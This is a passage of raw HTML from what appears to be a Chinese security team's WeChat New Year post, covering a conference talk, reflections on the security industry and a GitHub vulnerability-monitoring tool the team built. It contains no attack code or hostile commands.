data-role="block" style="width: 6%;margin-top: 153.6%;margin-left: 18.1333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 13.7143px;transform: scale(1);max-width: 6% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 23 22"><foreignObject data-role="block-content" height="100%" width="100%"><section style="overflow: hidden;display: flex;justify-content: center;"><section style="width: 1.563em;"><img data-imgfileid="100001971" data-ratio="1" style="width: 100%;display: block;vertical-align: baseline;" data-type="png" data-w="25" src="https://wechat2rss.xlab.app/img-proxy/?k=f4fb033e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPibQLicsE3UZGVUVtibfX8WzDFGJo92nTZ8Ih0icvHVyan2XMYM7CfjJQpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></foreignObject></svg></section><section data-role="block" style="width: 6%;margin-top: 153.6%;margin-left: 75.4667%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 13.7143px;transform: scale(1);max-width: 6% !important;"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;" viewBox="0 0 23 22"><foreignObject data-role="block-content" height="100%" width="100%"><section style="overflow: hidden;display: flex;justify-content: center;"><section style="width: 1.563em;"><img class="rich_pages wxw-img" data-imgfileid="100001972" data-ratio="1" style="width: 100%;display: block;vertical-align: baseline;" data-type="png" data-w="25" src="https://wechat2rss.xlab.app/img-proxy/?k=f4fb033e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPibQLicsE3UZGVUVtibfX8WzDFGJo92nTZ8Ih0icvHVyan2XMYM7CfjJQpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></foreignObject></svg></section></section></section><section data-tools="135编辑器" data-id="136700"><section style="margin-top: -70px;"><section style="margin: 10px auto;"><section style="width: 75%;margin-right: auto;margin-left: auto;display: flex;flex-direction: column;max-width: 75% !important;" data-width="75%"><section style="height: 0px;"><br/></section><section style="border-radius: 100%;background-color: rgb(244, 216, 159);padding: 7px;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001974" data-ratio="1" style="width: 100%;display: block;border-radius: 100%;vertical-align: baseline;" data-type="png" data-w="957" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6ff54cb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPN05p1ficrvPoFJI0u3uQkkpGqDl1L69ukOyuc36Ks9aReicdFax8nZFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="width: 71px;margin-top: -20px;margin-right: auto;margin-left: auto;z-index: 8;" data-width="71px"><section data-tools="135编辑器" data-id="122066"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="width: 72px;" data-width="72px"><img data-imgfileid="100001973" data-ratio="1" width="71" data-type="gif" data-w="260" data-width="71px" style="width: 71px;display: block;margin-top: -48px;margin-bottom: -10px;vertical-align: baseline;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e0091d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPF3Kga6XzCictC1ib8LJDr1kAESeUuZsYmfMQWJH8OXiaEGeVicQ25WUkHg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section></section></section></section></section></section><section><section style="line-height: 38.2px;text-align: center;color: #fbe7bd;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;" data-autoskip="1"><p><strong>在这新春佳节，</strong></p><p><strong>渊龙Sec安全团队给大家拜年啦！</strong></p><p><strong>祝各位师傅在新的一年里志得圆满、平平安安！</strong></p></section></section><section data-tools="135编辑器" data-id="154575"><section data-tools="135编辑器" data-id="136805" style="margin-bottom: -30px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="width: 90px;"><img data-imgfileid="100001976" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section><section data-tools="135编辑器" data-id="154575" style="margin-top: -5px;margin-bottom: 12px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">春</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section><section style="font-size: 18px;color: rgb(251, 231, 189);text-align: center;line-height: 1.4em;padding-right: 12px;padding-bottom: 2px;padding-left: 12px;"><p><span style="letter-spacing: 0.5px;"><strong>爆竹声中一岁除</strong></span></p></section><section style="width: 100%;height: 1px;border-top: 1px solid rgb(219, 40, 0);" data-width="100%"><br/></section><section style="font-size: 12px;color: rgb(244, 216, 159);text-align: center;line-height: 1.2em;padding-top: 5px;padding-right: 12px;padding-left: 12px;"><strong><span style="letter-spacing: 0.5px;" data-brushtype="text">HAPPY NEW YEAR</span></strong></section></section><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">节</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="154113" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;max-width: 90% !important;"><section style="margin: 10px auto;"><section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px 5px 0px 0px;margin-right: 5px;margin-left: 5px;"><br/></section><section style="background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px;padding-right: 4px;padding-left: 4px;background-color: rgb(255, 255, 255);"><section style="height: 5px;border-left: 1px solid rgb(219, 40, 0);border-right: 1px solid rgb(219, 40, 0);border-top: 1px solid rgb(219, 40, 0);border-radius: 5px 5px 0px 0px;margin-right: 4px;margin-left: 4px;"><br/></section><section style="border-right: 1px solid rgb(219, 40, 0);border-left: 1px solid rgb(219, 40, 0);border-radius: 5px;border-top: none;border-bottom: none;padding: 12px 17px;"><section style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(27, 27, 27);background-color: transparent;"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100001979" data-ratio="0.6666666666666666" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=18633a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPBLfPy6vckib2Lf3Hy1F1sMyib1UjPaEYTO0CDfPpgaD8uowsRx3Q2thA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section><section><section style="line-height: 2.13em;color: rgb(63, 63, 63);text-shadow: none;" data-autoskip="1"><p><strong>今年很荣幸被邀请至腾讯安全沙龙（武汉站），发表了议题<span style="color:#ff0000;">《APT视角下的攻防实践》</span>，并在沙龙上面介绍了渊龙Sec安全团队。</strong></p><p><span style="text-decoration:underline;"><strong>PS：由于最近工作内容较为繁忙，所以渊龙Sec安全团队公众号一直没来及更新。立个Flag：在新的一年定要实现在团队公众号多更新文章哈哈~<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-ratio="1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=7fe6f348&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2F2_04.png"/></strong></span></p><p><span style="background-color: transparent;caret-color: red;"><img class="rich_pages wxw-img" data-imgfileid="100001978" data-ratio="0.6259259259259259" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cb5ff622&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPm68cKmscKI1Se01A9VXl41q9969bBTg9l7WqzCHLrGgKW3wmiauC0Rw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p><strong><span style="background-color: transparent;caret-color: red;">回首2024，在广东和补天漏洞平台的负责人田朋师傅线下见了一面，并聊了许多关于当下网络安全领域的相关问题。</span></strong></p><p><span style="background-color: transparent;caret-color: red;"><img class="rich_pages wxw-img" data-imgfileid="100001977" data-ratio="0.5638888888888889" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b4198fca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPP4raaVdmvkXsswIs8cdLZic3UIuufvyumWALxGB9icRiaDLQzRtNKA3AJQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p><strong><span style="background-color: transparent;caret-color: red;">还在武汉，于腾讯安全沙龙见到了李鑫师傅，在沙龙上，我了解到了关于企业安全架构和业务侧的许多核心问题。</span></strong></p><section data-tools="135编辑器" data-id="155172"><section style="margin: 10px auto;"><section style="width: 25px;margin-bottom: -18px;transform: rotateZ(0deg);"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 54.71 57.79" style="display: block;"><g data-name="图层 2"><g data-name="图层 1"><path d="M53.29,53.29c-2.07,2.08-5.23,2.82-9,2.39-7.59-.87-17.7-6.47-26.7-15.47C4.11,26.74-1.75,10.75,4.5,4.5c6-6,20.81-.9,33.86,11.3.62.58,1.24,1.17,1.85,1.78" style="fill:none;stroke:#ffa836;stroke-width:4px;"></path></g></g></svg></section><section><section style="display: flex;"><section style="flex-shrink: 0;background-color: #fff4ec;"><section style="width: 12px;height: 12px;border-right: 1px solid rgb(255, 198, 100);border-bottom: 1px solid rgb(255, 198, 100);border-radius: 0px 0px 25px;background-color: rgb(255, 255, 255);"><br/></section></section><section style="width: 100%;height: 12px;border-top: 1px solid rgb(255, 198, 100);background-color: rgb(255, 244, 236);" data-width="100%"><br/></section><section style="flex-shrink: 0;background-color: #fff4ec;"><section style="width: 12px;height: 12px;border-left: 1px solid rgb(255, 198, 100);border-bottom: 1px solid rgb(255, 198, 100);border-radius: 0px 0px 0px 25px;background-color: rgb(255, 255, 255);"><br/></section></section></section><section style="border-left: 1px solid rgb(255, 198, 100);border-right: 1px solid rgb(255, 198, 100);padding: 15px 12px;background-color: rgb(255, 244, 236);"><section><section style="display: flex;justify-content: center;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 40px;"><img data-imgfileid="100001980" data-ratio="1" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="600" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e8987bb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPFicHqxd8QButnIYFFZfiaI3uKlNHRgSicgiak8yGuRicIbDUFI55LBIEN5g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section><section><section style="font-size: 16px;color: rgb(225, 17, 7);text-align: center;padding-right: 8px;padding-left: 8px;"><strong>网络安全未来在何方？</strong></section></section><section style="flex-shrink: 0;"><section style="width: 40px;"><img class="rich_pages wxw-img" data-imgfileid="100001985" data-ratio="1" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="600" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e8987bb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPFicHqxd8QButnIYFFZfiaI3uKlNHRgSicgiak8yGuRicIbDUFI55LBIEN5g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section><section style="width: 100%;height: 1px;border-bottom: 1px solid rgb(255, 198, 100);" data-width="100%"><br/></section></section><section data-autoskip="1" style="line-height: 1.75em;color: rgb(94, 63, 54);background-color: transparent;padding-top: 10px;"><p><strong>经过2024这充实的一年，我们也有许多感悟~<img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=d65a9ea6&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2FExpression%2FExpression_5%402x.png"/></strong></p><p><br/></p><p><strong>根据笔者的观察，以及和各位大佬的探讨，我们给出的结论是这样：</strong></p><p><span style="text-decoration:underline;"><strong>目前行业的情况并不好。</strong></span><strong>但可以看到，目前对于人才的需求还是存在的，基础人才有需求，但更需要高水平人才。</strong></p><p><strong>作为白帽子，<span style="color:#ff0000;">不能浮躁，要沉得住气</span>，坚守初心去努力磨砺自己的技术，也可以尝试<span style="color:#ff0000;">安全其他赛道</span>上面的内容，去迎接更好的明天。</strong></p><p><strong>未来谁也不知道。但从整体的角度来说，从规律的角度来看，行业也会越来越<span style="color:#ff0000;">规范</span>，不可能一直差下去，我们要等一个契机...</strong></p><p><br/></p><p><strong>另外我需要提一个关键的观点：网络安全这个行业，本质上是<span style="color:#ff0000;">技术指向性产业</span>，最终的关键核心还是要<span style="color:#ff0000;">回归技术<span style="color: rgb(99, 36, 35);">。</span></span>要深耕于技术领域，才能做出真正解决实际问题、痛点的产品，才能获得市场的认可。</strong></p><p><br/></p><p><strong>在做技术团队的路上，渊龙Sec安全团队也得到了不少师傅的认同，其实笔者去年在博客上分享过我组建团队的宝贵经验，可以点击链接进来看看：<a target="_blank" href="https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485208&amp;idx=1&amp;sn=5b85b6aa6822a81d3dc49c68828f6c59&amp;scene=21#wechat_redirect" textvalue="感谢，渊龙三周年与龙年展望！" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">感谢，渊龙三周年与龙年展望！</a></strong></p></section></section><section style="display: flex;align-items: flex-end;"><section style="flex-shrink: 0;background-color: #fff4ec;"><section style="width: 12px;height: 12px;border-right: 1px solid rgb(255, 198, 100);border-top: 1px solid rgb(255, 198, 100);border-radius: 0px 25px 0px 0px;background-color: rgb(255, 255, 255);"><br/></section></section><section style="width: 100%;height: 12px;border-bottom: 1px solid rgb(255, 198, 100);background-color: rgb(255, 244, 236);" data-width="100%"><br/></section><section style="flex-shrink: 0;background-color: #fff4ec;"><section style="width: 12px;height: 12px;border-left: 1px solid rgb(255, 198, 100);border-top: 1px solid rgb(255, 198, 100);border-radius: 25px 0px 0px;background-color: rgb(255, 255, 255);"><br/></section></section></section></section></section></section></section></section></section></section></section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 0px 0px 5px 5px;margin-right: 5px;margin-left: 5px;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="154575"><section data-tools="135编辑器" data-id="136805" style="margin-bottom: -30px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="width: 90px;"><img class="rich_pages wxw-img" data-imgfileid="100001981" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section><section data-tools="135编辑器" data-id="154575" style="margin-top: -5px;margin-bottom: 12px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">春</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section><section style="font-size: 18px;color: rgb(251, 231, 189);text-align: center;line-height: 1.4em;padding-right: 12px;padding-bottom: 2px;padding-left: 12px;"><strong>团队年终总结</strong></section><section style="width: 100%;height: 1px;border-top: 1px solid rgb(219, 40, 0);" data-width="100%"><br/></section><section style="font-size: 12px;color: rgb(244, 216, 159);text-align: center;line-height: 1.2em;padding-top: 5px;padding-right: 12px;padding-left: 12px;"><strong><span style="letter-spacing: 0.5px;" data-brushtype="text">HAPPY NEW YEAR</span></strong></section></section><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">节</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="154113" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;max-width: 90% !important;"><section style="margin: 10px auto;"><section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px 5px 0px 0px;margin-right: 5px;margin-left: 5px;"><br/></section><section style="background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px;padding-right: 4px;padding-left: 4px;background-color: rgb(255, 255, 255);"><section style="height: 5px;border-left: 1px solid rgb(219, 40, 0);border-right: 1px solid rgb(219, 40, 0);border-top: 1px solid rgb(219, 40, 0);border-radius: 5px 5px 0px 0px;margin-right: 4px;margin-left: 4px;"><br/></section><section style="border-right: 1px solid rgb(219, 40, 0);border-left: 1px solid rgb(219, 40, 0);border-radius: 5px;border-top: none;border-bottom: none;padding: 12px 17px;"><section style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(27, 27, 27);background-color: transparent;"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="max-inline-size: 100%;margin-right: -5px;margin-bottom: -14px;margin-left: auto;caret-color: rgb(255, 0, 0);width: 35px;transform: rotateY(180deg);"><img data-imgfileid="100001982" data-ratio="0.5280898876404494" style="width: 100%;display: block;vertical-align: baseline;max-inline-size: 100%;" data-type="png" data-w="534" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=3c55ba02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPscw1CXO1bqxjx9uxo5FwHCLTpcoT1NUcSeQDyh1tmnibwS5zCV0VA4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="max-inline-size: 100%;caret-color: rgb(255, 0, 0);display: flex;align-items: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><section style="max-inline-size: 100%;margin-right: -15px;flex-shrink: 0;"><section style="max-inline-size: 100%;padding: 1px;background-color: rgb(219, 40, 0);transform: rotate(45deg);"><section style="max-inline-size: 100%;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="max-inline-size: 100%;display: flex;justify-content: space-between;"><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="max-inline-size: 100%;margin-top: -5px;margin-bottom: -5px;width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;transform: rotate(-45deg);"><section style="max-inline-size: 100%;font-size: 16px;color: rgb(251, 231, 189);"><strong style="max-inline-size: 100%;cursor: text;">0</strong><strong style="max-inline-size: 100%;cursor: text;">1</strong></section></section><section style="max-inline-size: 100%;display: flex;justify-content: space-between;"><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section style="max-inline-size: 100%;padding: 7px 31px 7px 38px;background: linear-gradient(rgb(240, 65, 49), rgb(240, 65, 49));border-radius: 5px;"><section style="max-inline-size: 100%;font-size: 16px;color: rgb(251, 231, 189);"><strong data-brushtype="text" style="max-inline-size: 100%;cursor: text;">Github监控系统</strong></section></section></section><p style="text-align:center;"><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img" data-imgfileid="100001984" data-ratio="0.5111111111111111" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6748e801&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPP5HWhZiboJUrgiatNgAIpxtEegnjhzBI3jg81XEzyUGpmN2icjAWibkr9kg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></section><section><section style="line-height: 2.13em;color: rgb(63, 63, 63);text-shadow: none;" data-autoskip="1"><p><strong>今年团队新上线了Github监控系统：<span style="background-color: transparent;caret-color: red;">在一线攻防中，<span style="background-color: transparent;caret-color: red;color: rgb(255, 0, 0);">先得漏洞信息得天下</span>，就有更多的可能性和主动权，常见的CVE监控和Github监控就是为此产生。</span></strong></p><p><strong><span style="background-color: transparent;caret-color: red;">但很多监控项目都是钉钉或者邮件通知，实际上无法<span style="background-color: transparent;caret-color: red;color: rgb(255, 0, 0);">实时全面跟进</span>通报的信息，内容多且<span style="background-color: transparent;caret-color: red;color: rgb(255, 0, 0);">无法团队协作审核</span>，无法发挥出威力。团队内部基于此痛点，魔改出一个在线Github信息监控系统。</span></strong></p><p><br/></p></section></section><section style="max-inline-size: 100%;margin-right: -5px;margin-bottom: -14px;margin-left: auto;caret-color: rgb(255, 0, 0);width: 35px;transform: rotateY(180deg);"><img data-imgfileid="100001983" data-ratio="0.5280898876404494" style="width: 100%;display: block;vertical-align: baseline;max-inline-size: 100%;" data-type="png" data-w="534" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=3c55ba02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPscw1CXO1bqxjx9uxo5FwHCLTpcoT1NUcSeQDyh1tmnibwS5zCV0VA4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="max-inline-size: 100%;caret-color: rgb(255, 0, 0);display: flex;align-items: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><section style="max-inline-size: 100%;margin-right: -15px;flex-shrink: 0;"><section style="max-inline-size: 100%;padding: 1px;background-color: rgb(219, 40, 0);transform: rotate(45deg);"><section style="max-inline-size: 100%;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="max-inline-size: 100%;display: flex;justify-content: space-between;"><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="max-inline-size: 100%;margin-top: -5px;margin-bottom: -5px;width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;transform: rotate(-45deg);"><section style="max-inline-size: 100%;font-size: 16px;color: rgb(251, 231, 189);"><strong style="max-inline-size: 100%;cursor: text;">0</strong><strong style="max-inline-size: 100%;cursor: text;">2</strong></section></section><section style="max-inline-size: 100%;display: flex;justify-content: space-between;"><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="max-inline-size: 100%;width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section style="max-inline-size: 100%;padding: 7px 31px 7px 38px;background: linear-gradient(rgb(240, 65, 49), rgb(240, 65, 49));border-radius: 5px;"><section style="max-inline-size: 100%;font-size: 16px;color: rgb(251, 231, 189);"><strong data-brushtype="text" style="max-inline-size: 100%;cursor: 